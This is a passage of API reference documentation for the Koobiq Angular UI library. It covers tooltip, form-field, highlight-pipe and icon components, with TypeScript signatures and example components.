- `arrowCentered`: `boolean` — Input (`kbqTooltipArrowCentered`) — centers the arrow on the trigger while preserving the panel placement.
  Requires a visible arrow. Defaults to `false`.
- `offset`: `number | null` — Input (`kbqTooltipOffset`) — distance in pixels between the tooltip and its trigger. `null` keeps
  the gap of the stylesheet. Defaults to the `offset` of `KBQ_TOOLTIP_DEFAULT_OPTIONS`, when a
  provider in scope set one. Inside a provider scope such as the navbar's, `null`/`undefined` restores
  that inherited default.
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Output (`kbqPlacementChange`) that emits the new placement whenever the tooltip repositions.
- `visibleChange`: `EventEmitter<boolean>` — Output (`kbqVisibleChange`) that emits when the tooltip's visibility changes.
- `modifier`: `KbqEnumValues<TooltipModifier>` — Visual variant of the tooltip. Accepts `'default'` | `'warning'` | `'extended'`.
  Replaces the removed `KbqWarningTooltipTrigger` and `KbqExtendedTooltipTrigger`
  subclasses — to render a warning tooltip use `kbqTooltipModifier="warning"`,
  and `kbqTooltipModifier="extended"` for the extended variant (combine with `kbqTooltipHeader`).
- `header`: `string | TemplateRef<unknown>` — Header text or template, rendered above the tooltip content. Only meaningful with
  `kbqTooltipModifier="extended"`. Replaces the removed `KbqExtendedTooltipTrigger.header`.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `show()`: `void` — Shows the tooltip after `delay` ms. Suppresses showing while a pop-up on the same element holds the
  anchor or on a focus trigger that did not originate from the keyboard, and applies cursor-relative
  positioning when `relativeToPointer` is enabled.
- `hide()`: `void` — Hides the tooltip after `delay` ms and, when the user has genuinely left the host, un-mutes a tooltip
  that a pop-up on the same element had muted.

  `mouseleave` and `blur` are the release signals because the base class binds `hide` to both regardless
  of whether the tooltip is currently visible. A pop-up that is still attached does not count: its
  backdrop steals the hover from the trigger while the pointer stands still, and that `mouseleave` must
  not be mistaken for the user leaving.
- `showForMouseEvent()`: `void` — Shows the tooltip next to the cursor position of the given mouse event, anchoring it to the event's
  `currentTarget` instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template — for instance for a tooltip shared by the
  cells of a virtualized table. The directive still has to be created in an injection context.
- `showForElement()`: `void` — Shows the tooltip anchored to the given element instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template. The directive still has to be created in an
  injection context:

  ```ts
  const tooltip = runInInjectionContext(injector, () => new KbqTooltipTrigger());
  tooltip.showForElement(element);
  ```

  Does nothing while the tooltip is disabled or has no content — there is no overlay to anchor then.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

##### KbqReactivePasswordHint (component)

Password hint to be shown below the password form field control.

```ts
@Component({
    selector: 'kbq-reactive-password-hint',
    exportAs: 'kbqReactivePasswordHint'
})
class KbqReactivePasswordHint extends KbqHint {
    readonly hasError = input<boolean>(false);
    readonly fillTextOff = input<boolean>(true);
    readonly id = input<string>(`kbq-hint-${nextUniqueId++}`);
    readonly compact = input<boolean>(false);
    readonly color = input<T | null | undefined>();
    get colorClassName(): string;
    setDefaultColor(color: T): void;
}
```

- `[hasError]`: `boolean` — Whether the form field control has an error.
- `[fillTextOff]`: `boolean` — Disables `color` for the hint text.
- `[id]`: `string` — Unique ID for the hint. Referenced by the `aria-describedby` of the form field control.
- `[compact]`: `boolean` — Makes the hint size smaller.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqStepper (component)

Component which allow to increment or decrement number value.

```ts
@Component({ selector: 'kbq-stepper', exportAs: 'kbqStepper' })
class KbqStepper {
    readonly stepUp = output<void>();
    readonly stepDown = output<void>();
}
```

- `(stepUp)`: `void` — Emitted when the stepper is incremented.
- `(stepDown)`: `void` — Emitted when the stepper is decremented.

#### Directives

##### KbqFieldsetItem (directive)

Directive for marking elements as items inside `KbqFieldset`

```ts
@Directive({ selector: '[kbqFieldsetItem]', exportAs: 'kbqFieldsetItem' })
class KbqFieldsetItem {}
```

##### KbqLabel (directive)

Label for the form field.

```ts
@Directive({ selector: 'kbq-label', exportAs: 'kbqLabel' })
class KbqLabel {}
```

##### KbqLegend (directive)

Directive for marking an element as legend of `KbqFieldset`

```ts
@Directive({ selector: '[kbqLegend]', exportAs: 'kbqLegend' })
class KbqLegend {
    readonly id = input<string>(`kbq-legend-${nextLegendUniqueId++}`);
}
```

- `[id]`: `string` — Unique ID for the legend, referenced by the `aria-labelledby` of the fieldset.

##### KbqPrefix (directive)

Element to be placed in front of the form field.

```ts
@Directive({ selector: '[kbqPrefix]', exportAs: 'kbqPrefix' })
class KbqPrefix {}
```

##### KbqSuffix (directive)

Element to be placed at the end of the form field.

```ts
@Directive({ selector: '[kbqSuffix]', exportAs: 'kbqSuffix' })
class KbqSuffix {}
```

#### Classes

##### KbqFormFieldControl (abstract class)

An interface which allows a control to work inside of a `KbqFormField`.

Every state member is a signal: the form field derives its own state from them and runs `OnPush`, so a
change of the control reaches it without any notification of the control's own.

```ts
abstract class KbqFormFieldControl<T> {
    readonly value: Signal<T | null>;
    readonly id: Signal<string>;
    readonly placeholder: Signal<string | null | undefined>;
    readonly ngControl: NgControl | null;
    readonly focused: Signal<boolean>;
    readonly empty: Signal<boolean>;
    readonly required: Signal<boolean>;
    readonly disabled: Signal<boolean>;
    readonly errorState: Signal<boolean>;
    readonly readonly?: Signal<boolean>;
    readonly autofilled?: Signal<boolean>;
    readonly controlType?: string;
    readonly isNativeLabelSupported?: boolean;
    setDescribedByIds?: (ids: string[]) => void;
    open?: () => void;
    abstract onContainerClick(event: MouseEvent): void;
    abstract focus(options?: FocusOptions): void;
}
```

- `value`: `Signal<T | null>` — The value of the control.
- `id`: `Signal<string>` — The element ID for this control.
- `placeholder`: `Signal<string | null | undefined>` — The placeholder for this control.
- `ngControl`: `NgControl | null` — Gets the NgControl for this control.
- `focused`: `Signal<boolean>` — Whether the control is focused.
- `empty`: `Signal<boolean>` — Whether the control is empty.
- `required`: `Signal<boolean>` — Whether the control is required.
- `disabled`: `Signal<boolean>` — Whether the control is disabled.
- `errorState`: `Signal<boolean>` — Whether the control is in an error state.
- `readonly?`: `Signal<boolean>` — Whether the control is read-only: it can be focused and its value selected and copied, but not changed.

  Implement it only on a control that has a read-only state. `KbqFormField` then hides the cleaner and adds
  the `kbq-form-field_readonly` class.
- `autofilled?`: `Signal<boolean>` — Whether the control's value was filled in by the browser.

  Implement it only where autofill is reachable: on a control that is itself a text input or a
  textarea, or — like `KbqTagList` — on a wrapper that forwards the state of the input it hosts.
  Leave it out on controls the browser never fills.
- `controlType?`: `string` — An optional name for the control type that can be used to distinguish `kbq-form-field` elements
  based on their control type. The form field will add a class,
  `kbq-form-field-type-{{controlType}}` to its root element.
- `isNativeLabelSupported?`: `boolean` — Whether the control is a native labelable element, so that the `<label for>` a wrapping
  `kbq-form-field` renders associates with it.

  Defaults to `true`. A control rendered as a custom element (`kbq-select`, for one) sets it to
  `false`: a `<label>` with neither a `for` matching a labelable element nor a nested one is
  invalid, so the form field renders the caption as a `<span>` instead and the control is named
  through `aria-labelledby`.
- `setDescribedByIds?`: `(ids: string[]) => void` — Sets the ids of the elements (hints, errors) that describe the control.

  Implement it only when `aria-describedby` has to be placed on an element other than the one
  the control is declared on: `KbqFormField` writes the attribute on the control's host element
  by default.
- `open?`: `() => void` — Opens control's overlay.
- `onContainerClick()`: `void` — Handles a click on the control's container.
- `focus()`: `void` — Focuses the control.

#### Types

##### KbqFormFieldDefaultOptions (type)

Default options for the kbq-form-field that can be configured using the `KBQ_FORM_FIELD_DEFAULT_OPTIONS`
injection token.

```ts
type KbqFormFieldDefaultOptions = Partial<{
    noBorders: boolean;
    inOverlay: boolean;
    horizontal: boolean;
    labelClass: string | string[] | Set<string>;
    contentClass: string | string[] | Set<string>;
    showRequiredMarker: boolean;
}>;
```

- `noBorders?`: `boolean` — Disables form field borders and shadows.
- `inOverlay?`: `boolean` — Use when KbqFormField is in an overlay container.
- `horizontal?`: `boolean` — Whether the form field is displayed horizontally.
- `labelClass?`: `string | string[] | Set<string>` — Additional CSS classes applied to the label element.
- `contentClass?`: `string | string[] | Set<string>` — Additional CSS classes applied to the content wrapper element.
- `showRequiredMarker?`: `boolean` — Whether the label of a required control ends with the `*` marker.

#### Constants

##### kbqFormFieldDefaultOptionsProvider (const)

Utility provider for `KBQ_FORM_FIELD_DEFAULT_OPTIONS`.

```ts
const kbqFormFieldDefaultOptionsProvider: (
    options: KbqFormFieldDefaultOptions
) => Provider;
```

## Highlight

- Page: https://koobiq.io/en/components/highlight/overview

Highlighting matches helps users quickly understand why a result is relevant and speeds up navigation through lists. Depending on the context, one of two styles is used.

Koobiq provides two pipes for highlighting text matches — `kbqHighlightBackground` and `kbqHighlightBold`. Both take a string and a search argument, wrapping the found matches in a `<mark>` tag — `kbq-highlight-background` for the background-color style and `kbq-highlight` for the bold style.

### Background color

Used in selects and other dropdown pickers with filtering, and to highlight matches in complex content: descriptions, messages, and articles. The solid background remains legible in hover and active states within overlays and makes matches noticeable even in long texts.

**Example: Highlight in select** (`highlight-select`)

```ts highlight-select-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSelectModule } from '@koobiq/components/select';
import { map, startWith } from 'rxjs/operators';

@Component({
    selector: 'highlight-select-example',
    imports: [
        KbqSelectModule,
        KbqIconModule,
        KbqInputModule,
        AsyncPipe,
        ReactiveFormsModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-select placeholder="Choose a club">
                <kbq-form-field noBorders kbqSelectSearch>
                    <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                    <input kbqInput type="text" [formControl]="searchControl" />
                    <kbq-cleaner />
                </kbq-form-field>

                <div kbq-select-search-empty-result>Nothing found</div>

                @for (option of filteredOptions | async; track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: searchControl.value"></span>
                    </kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
        }

        .kbq-form-field-type-select {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class HighlightSelectExample {
    readonly options = [
        'Manchester United',
        'Manchester 62 FC',
        'FC United of Manchester',
        'Manchester United Reserves',
        'Manchester United U23',
        'Manchester United U19',
        'Manchester United Academy',
        'Manchester United Women (W)'
    ];
    readonly searchControl = new FormControl('');
    readonly filteredOptions = this.searchControl.valueChanges.pipe(
        startWith(''),
        map((query) => this.search(query))
    );

    private search(query: string | null): string[] {
        return query
            ? this.options.filter((option) => option.toLowerCase().includes(query.toLowerCase()))
            : this.options;
    }
}
```

Matches in text:

**Example: Highlight with background color** (`highlight-background`)

```ts highlight-background-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';

@Component({
    selector: 'highlight-background-example',
    imports: [KbqHighlightBackgroundPipe],
    template: `
        <div class="kbq-headline layout-margin-bottom-s" [innerHTML]="title | kbqHighlightBackground: keyword"></div>
        <div class="kbq-text-normal" [innerHTML]="text | kbqHighlightBackground: keyword"></div>
    `,
    styles: `
        :host {
            display: block;
        }

        .highlight-background-example p {
            margin: var(--kbq-size-m) 0 0;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class HighlightBackgroundExample {
    readonly keyword = 'cub';
    readonly title = 'Cube';
    readonly text =
        'The cube can be represented in many ways. One example is by drawing a graph, a structure in graph' +
        ' theory consisting of a set of vertices that are connected with an edge. This graph also represents the' +
        ' family of a cuboid, a polyhedron with six quadrilateral faces, which includes the cube as its special' +
        ' case. The cube and its graph are a three dimensional hypercube, a family of polytopes that also includes' +
        ' the two-dimensional square and four-dimensional tesseract.';
}
```

Matches in search results with a complex layout:

**Example: Highlight in complex content** (`highlight-background-complex`)

```ts highlight-background-complex-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors, KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqLink } from '@koobiq/components/link';

type SearchResult = {
    title: string;
    url: string;
    snippet: string;
};

@Component({
    selector: 'highlight-background-complex-example',
    imports: [
        KbqInputModule,
        KbqIcon,
        KbqButtonModule,
        ReactiveFormsModule,
        KbqHighlightBackgroundPipe,
        KbqLink
    ],
    template: `
        <div style="margin-bottom: var(--kbq-size-xl)">
            <kbq-fieldset>
                <kbq-form-field kbqFieldsetItem>
                    <i kbqPrefix kbq-icon="kbq-magnifying-glass_16"></i>
                    <input kbqInput placeholder="Search" [formControl]="control" />
                </kbq-form-field>
                <button kbqFieldsetItem kbq-button [color]="colors.Contrast" (click)="applySearch()">Search</button>
            </kbq-fieldset>
        </div>

        @for (result of results; track result.url) {
            <article style="margin-bottom: var(--kbq-size-l)">
                <a href="{{ result.url }}" target="_blank" kbqLink>
                    <span
                        class="kbq-text-big-strong"
                        [innerHTML]="result.title | kbqHighlightBackground: query()"
                    ></span>
                </a>
                <div class="highlight-example__header">{{ result.url }}</div>
                <p style="margin: 0" [innerHTML]="result.snippet | kbqHighlightBackground: query()"></p>
            </article>
        }
    `,
    styles: `
        :host {
            display: block;
        }

        .highlight-example__header {
            margin: var(--kbq-size-xxs) 0;
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class HighlightBackgroundComplexExample {
    protected readonly colors = KbqComponentColors;
    protected readonly control = new FormControl('cube');
    protected readonly query = signal(this.control.value);
    protected readonly results: SearchResult[] = [
        {
            title: 'Cube',
            url: 'https://en.wikipedia.org/wiki/Cube',
            snippet:
                'A cube is a three-dimensional solid object in geometry. A cube has eight vertices and twelve straight' +
                ' edges of the same length, so that these edges form six faces.'
        },
        {
            title: 'Cube (1997 film)',
            url: 'https://en.wikipedia.org/wiki/Cube_(1997_film)',
            snippet:
                'Cube is a 1997 Canadian science fiction horror film directed and co-written by Vincenzo Natali.' +
                " A product of the Canadian Film Centre's First Feature Project."
        },
        {
            title: 'Cube (algebra)',
            url: 'https://en.wikipedia.org/wiki/Cube_(algebra)',
            snippet:
                'In arithmetic and algebra, the cube of a number n is its third power, that is, the result of' +
                ' multiplying three instances of n together.'
        },
        {
            title: 'Cube (2021 film)',
            url: 'https://en.wikipedia.org/wiki/Cube_(2021_film)',
            snippet:
                'The story centers on a group of strangers who awaken in a cube-shaped room connected to adjacent' +
                ' rooms, forming an elaborate maze filled with traps.'
        }
    ];

    protected applySearch(): void {
        this.query.set(this.control.value);
    }
}
```

Matches in a table:

**Example: Highlight in table** (`highlight-background-table`)

```ts highlight-background-table-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqLink } from '@koobiq/components/link';
import { KbqTableModule } from '@koobiq/components/table';

type CompanyRow = {
    city: string;
    company: string;
    person: string;
    notes: string;
    note?: string;
};

@Component({
    selector: 'highlight-background-table-example',
    imports: [
        KbqTableModule,
        KbqLink,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <table kbq-table class="highlight-table">
            <thead>
                <tr>
                    <th style="width: 96px">City</th>
                    <th style="width: 124px">Company</th>
                    <th style="width: 116px">Person</th>
                    <th>Notes</th>
                </tr>
            </thead>
            <tbody>
                @for (row of rows; track row.city) {
                    <tr [class.highlight-table__row_with-note]="row.note">
                        <td>
                            <a kbqLink href="#" (click)="$event.preventDefault()">
                                <span [innerHTML]="row.city | kbqHighlightBackground: keyword"></span>
                            </a>
                        </td>
                        <td [innerHTML]="row.company | kbqHighlightBackground: keyword"></td>
                        <td [innerHTML]="row.person | kbqHighlightBackground: keyword"></td>
                        <td [innerHTML]="row.notes | kbqHighlightBackground: keyword"></td>
                    </tr>
                }
            </tbody>
        </table>
    `,
    styles: `
        :host {
            display: block;
        }

        .highlight-table {
            width: 100%;
        }

        .highlight-table__row_with-note > td {
            border-bottom: none;
            padding-bottom: var(--kbq-size-xxs);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class HighlightBackgroundTableExample {
    protected readonly keyword = 'manc';
    protected readonly rows: CompanyRow[] = [
        {
            city: 'Manchester',
            company: 'Blue Harbor Ltd',
            person: 'Alice Brown',
            notes: 'Annual review completed'
        },
        {
            city: 'Liverpool',
            company: 'Mancraft Studio',
            person: 'Daniel Reed',
            notes: 'New client onboarded'
        },
        {
            city: 'Bristol',
            company: 'GreenField Tech',
            person: 'Mancini Robert',
            notes: 'Budget approved'
        },
        {
            city: 'Leeds',
            company: 'Northwind Labs',
            person: 'Emma Stone',
            notes: 'Visit planned for Manchester office'
        },
        {
            city: 'York',
            company: 'Delta Systems',
            person: 'Michael Turner',
            notes: 'Contract with Mancorp signed'
        },
        {
            city: 'Oxford',
            company: 'Silver Bridge',
            person: 'Laura Green',
            notes: 'Archived in mancategory B'
        }
    ];
}
```

### Bold

This style is unobtrusive and ideal for quickly scanning familiar data: the user immediately sees that the searched word is in the row but is not distracted from the main choice.

```html
<span [innerHTML]="item | kbqHighlightBold: searchQuery"></span>
```

The pipe used to be called `mcHighlight`: that name is deprecated and will be removed in 22.0.0.

## Icon

- Entry point: `@koobiq/components/icon`
- NgModule: `KbqIconModule`
- Page: https://koobiq.io/en/components/icon/overview

### Overview

#### Font icons (default)

Uses `@koobiq/icons` CSS font. No providers needed — works out of the box after adding the stylesheet.

Install the dependency and configure `angular.json`:

```bash
npm install @koobiq/icons
```

```json
"styles": [
  "node_modules/@koobiq/icons/fonts/kbq-icons.css"
]
```

```ts
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    imports: [KbqIconModule],
    template: `
        <i kbq-icon="kbq-plus_16"></i>
    `
})
export class AppComponent {}
```

Available icons: [Icons](https://koobiq.io/en/main/icons)

---

##### SVG icons

SVG icons render inline and support CSS color theming via `currentColor`. Choose one of the approaches below depending on your needs.

All three fetch their icons over HTTP through `HttpClient`, which Angular injects without any setup: `provideHttpClient()` in the examples below is only needed to configure it. An icon whose request fails keeps its font class. To register icons with no request at all, add them as inline literals through `KbqIconRegistry.addSvgIconLiteral()`.

###### Sprite file

Best when you have a pre-built SVG sprite and want all icons in a single HTTP request.

```ts
import { provideHttpClient } from '@angular/common/http';
import { kbqIconsProvider } from '@koobiq/components/icon';

bootstrapApplication(AppComponent, {
    providers: [
        provideHttpClient(),
        kbqIconsProvider(
            { spriteUrl: '/assets/icons/sprite.symbol.svg' },
            { spriteUrl: '/assets/brand/sprite.symbol.svg', namespace: 'brand' }
        )
    ]
});

@Component({
    imports: [KbqIconModule],
    template: `
        <i kbq-icon="plus_16"></i>
        <i kbq-icon="brand:logo_24"></i>
    `
})
export class AppComponent {}
```

###### URL resolver

Best when icons live at predictable URLs and you want them fetched on demand (no sprite required).

```ts
import { provideHttpClient } from '@angular/common/http';
import { kbqIconsResolverProvider } from '@koobiq/components/icon';

bootstrapApplication(AppComponent, {
    providers: [
        provideHttpClient(),
        kbqIconsResolverProvider((name) => `/assets/icons/${name}.svg`)
    ]
});

@Component({
    imports: [KbqIconModule],
    template: `
        <i kbq-icon="plus_16"></i>
    `
})
export class AppComponent {}
```

###### Dictionary

`kbqIconsDictProvider` is the resolver above with the mapping written out: a name→URL record, looked up by icon name. A name the dictionary does not hold falls through to the next resolver, and then to the font class.

```ts
import { provideHttpClient } from '@angular/common/http';
import { kbqIconsDictProvider } from '@koobiq/components/icon';

bootstrapApplication(AppComponent, {
    providers: [
        provideHttpClient(),
        kbqIconsDictProvider({
            plus_16: '/assets/icons/plus_16.svg',
            logo_24: '/assets/brand/logo_24.svg'
        })
    ]
});
```

###### Inline literals

The only setup that issues no request. The markup is passed through Angular's HTML sanitizer, which drops `<svg>` wholesale, so it has to be handed over as `SafeHtml` the application vouches for:

```ts
import { inject, provideAppInitializer } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
import { KbqIconRegistry } from '@koobiq/components/icon';

bootstrapApplication(AppComponent, {
    providers: [
        provideAppInitializer(() => {
            const sanitizer = inject(DomSanitizer);

            inject(KbqIconRegistry).addSvgIconLiteral('plus_16', sanitizer.bypassSecurityTrustHtml(PLUS_16_SVG));
        })
    ]
});
```

---

##### Accessibility

An icon carries no text, so `<i kbq-icon>` is `aria-hidden="true"` by default and assistive technology walks past it. That is right nearly everywhere: the icon repeats a label that is already in the button, the link or the row beside it.

An icon that is the only carrier of its meaning has to opt out and name itself:

```html
<i kbq-icon="kbq-triangle-exclamation_16" role="img" aria-hidden="false" aria-label="Error"></i>
```

`kbq-icon-button` is not hidden by default — it is interactive, and it needs a name of its own. Give it an `aria-label` (or an `aria-labelledby`); in dev mode it logs a warning when it has neither. On a host that is not a native `<button>` it supplies `role="button"` and `aria-disabled` itself, but not keyboard activation: bind `(keydown.enter)` and `(keydown.space)` next to `(click)`.

---

##### Two-tone icons

Some SVG icons (e.g. `folder-dot_16`, `envelope-dot_24`) include an extra accent element that can be recolored independently of the icon's main color. The accent color is controlled by the `--icon-accent-color` CSS variable, which defaults to `currentColor`.

```css
.my-scope {
    --icon-accent-color: var(--kbq-foreground-error);
}
```

The variable only applies to SVG icons — font icons are always single-color.

See the full list of two-tone icons on the [Icons](https://koobiq.io/en/main/icons) page with the "Two-color only" filter enabled.

### API

#### Components

##### KbqIcon (component)

Renders an icon on the element it is applied to: a `@koobiq/icons` font glyph by default, or an inline
`<svg>` when the name resolves through a configured `KbqIconRegistry`. A name that does not resolve
falls back to the font class, and every later name is resolved again.

The host is `aria-hidden` by default: an icon carries no text of its own, and in nearly every place the
library and its consumers use one it repeats a label that is already there. A meaningful icon opts out
with `aria-hidden="false"`, and then has to supply its own `role="img"` and `aria-label`.

```ts
@Component({ selector: '[kbq-icon]' })
class KbqIcon extends KbqColorDirective {
    readonly ariaHidden = input<boolean | undefined>(undefined, {
        alias: 'aria-hidden'
    });
    readonly iconSize = input<number | undefined>();
    autoColor = input<boolean | undefined>();
    readonly color = input<T | null | undefined>();
    hasError: boolean;
    iconName: string | undefined;
    get colorClassName(): string;
    getHostElement(): HTMLElement;
    setDefaultColor(color: T): void;
}
```

- `[aria-hidden]`: `boolean | undefined` — Whether the icon is hidden from assistive technology. Left unbound, it falls back to
  `defaultAriaHidden`, which is `true` for a decorative icon and `false` for an interactive one.
- `[iconSize]`: `number | undefined` — Rendered size of the icon in pixels. Left unset, the size is read from the `_<px>` suffix of the
  icon name (`kbq-plus_16` → 16), which is the `@koobiq/icons` convention; a name without one is
  rendered at whatever size the surrounding styles give it.
- `[autoColor]`: `boolean | undefined` — Whether the icon follows the error state of the host it sits in (a form field, for one), painting
  itself red while that host reports an error.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `hasError`: `boolean` — Whether the icon takes the error color whatever its `color` is. Set by a host that tints the icons
  it holds, such as `KbqEmptyState`.
- `iconName`: `string | undefined` — Name of an icon within a `@koobiq/icons`. Accepts "namespace:name" syntax.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqIconButton (component)

An icon that acts as a button. Applied to a native `<button>` it only adds the styling; applied to any
other element — `<i>` is what the library itself mostly uses — it also supplies the semantics the
element does not have: `role="button"` and `aria-disabled`. It does not synthesize Enter/Space
activation itself — attach a `(keydown.enter)`/`(keydown.space)` listener where it is used.

It has no text of its own, so give it an `aria-label` (or an `aria-labelledby`); in dev mode it warns
when it has neither.

It extends `KbqIcon` for the rendering, but deliberately does not register under that DI token: a
`contentChild(KbqIcon)` is looking for a decorative icon to position or tint, and an interactive
control is not one. See the note on `KbqIconItem`.

```ts
@Component({ selector: '[kbq-icon-button]' })
class KbqIconButton extends KbqIcon {
    readonly size = input<KbqIconButtonSize>('normal');
    tabindex = input<number | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly ariaHidden = input<boolean | undefined>(undefined, {
        alias: 'aria-hidden'
    });
    readonly iconSize = input<number | undefined>();
    autoColor = input<boolean | undefined>();
    readonly color = input<T | null | undefined>();
    hasError: boolean;
    iconName: string | undefined;
    get colorClassName(): string;
    getHostElement(): HTMLElement;
    setDefaultColor(color: T): void;
}
```

- `[size]`: `KbqIconButtonSize` — Size of the icon button.
- `[tabindex]`: `number | null | undefined` — Position of the button in the tab order. A disabled button is taken out of it entirely.
- `[disabled]`: `boolean | undefined` — Whether the button is disabled.
- `[aria-hidden]`: `boolean | undefined` — Whether the icon is hidden from assistive technology. Left unbound, it falls back to
  `defaultAriaHidden`, which is `true` for a decorative icon and `false` for an interactive one.
- `[iconSize]`: `number | undefined` — Rendered size of the icon in pixels. Left unset, the size is read from the `_<px>` suffix of the
  icon name (`kbq-plus_16` → 16), which is the `@koobiq/icons` convention; a name without one is
  rendered at whatever size the surrounding styles give it.
- `[autoColor]`: `boolean | undefined` — Whether the icon follows the error state of the host it sits in (a form field, for one), painting
  itself red while that host reports an error.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `hasError`: `boolean` — Whether the icon takes the error color whatever its `color` is. Set by a host that tints the icons
  it holds, such as `KbqEmptyState`.
- `iconName`: `string | undefined` — Name of an icon within a `@koobiq/icons`. Accepts "namespace:name" syntax.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqIconItem (component)

An icon on a filled round background — the status badge of an alert or an empty state. Decorative like
`KbqIcon`, and hidden from assistive technology by the same default.

Host metadata is inherited from `KbqIcon` through `ɵɵInheritDefinitionFeature`; DI tokens are not, so a
`contentChild(KbqIcon)` does not match an icon item. That is deliberate — a host that wants both asks
for both, the way `KbqAlert` does, and telling them apart is what lets it report two projected icons.

```ts
@Component({ selector: '[kbq-icon-item]' })
class KbqIconItem extends KbqIcon {
    readonly fade = input<boolean>(false);
    readonly big = input<boolean>(false);
    readonly ariaHidden = input<boolean | undefined>(undefined, {
        alias: 'aria-hidden'
    });
    readonly iconSize = input<number | undefined>();
    autoColor = input<boolean | undefined>();
    readonly color = input<T | null | undefined>();
    hasError: boolean;
    iconName: string | undefined;
    get colorClassName(): string;
    getHostElement(): HTMLElement;
    setDefaultColor(color: T): void;
}
```

- `[fade]`: `boolean` — Whether the background is the translucent "fade" variant of the color rather than the solid one.
- `[big]`: `boolean` — Whether the item is rendered at the larger of its two sizes.
- `[aria-hidden]`: `boolean | undefined` — Whether the icon is hidden from assistive technology. Left unbound, it falls back to
  `defaultAriaHidden`, which is `true` for a decorative icon and `false` for an interactive one.
- `[iconSize]`: `number | undefined` — Rendered size of the icon in pixels. Left unset, the size is read from the `_<px>` suffix of the
  icon name (`kbq-plus_16` → 16), which is the `@koobiq/icons` convention; a name without one is
  rendered at whatever size the surrounding styles give it.
- `[autoColor]`: `boolean | undefined` — Whether the icon follows the error state of the host it sits in (a form field, for one), painting
  itself red while that host reports an error.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `hasError`: `boolean` — Whether the icon takes the error color whatever its `color` is. Set by a host that tints the icons
  it holds, such as `KbqEmptyState`.
- `iconName`: `string | undefined` — Name of an icon within a `@koobiq/icons`. Accepts "namespace:name" syntax.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

#### Services

##### KbqIconRegistry (service)

```ts
@Injectable({ providedIn: 'root' })
class KbqIconRegistry {
    addSvgIcon(
        name: string,
        url: SafeResourceUrl,
        options?: KbqIconOptions
    ): void;
    addSvgIconLiteral(
        name: string,
        literal: SafeHtml,
        options?: KbqIconOptions
    ): void;
    addSvgIconInNamespace(
        namespace: string,
        name: string,
        url: SafeResourceUrl,
        options?: KbqIconOptions
    ): void;
    addSvgIconLiteralInNamespace(
        namespace: string,
        name: string,
        literal: SafeHtml,
        options?: KbqIconOptions
    ): void;
    addSvgIconSet(url: SafeResourceUrl, options?: KbqIconOptions): void;
    addSvgIconSetInNamespace(
        namespace: string,
        url: SafeResourceUrl,
        options?: KbqIconOptions
    ): void;
    getNamedSvgIcon(
        name: string,
        namespace?: string
    ): Observable<SVGElement>;
}
```

- `addSvgIcon()`: `void` — Registers an SVG icon by URL in the default namespace.
- `addSvgIconLiteral()`: `void` — Registers an SVG icon from an inline HTML string in the default namespace.
- `addSvgIconInNamespace()`: `void` — Registers an SVG icon by URL under the given namespace.
- `addSvgIconLiteralInNamespace()`: `void` — Registers an SVG icon from an inline HTML string under the given namespace.
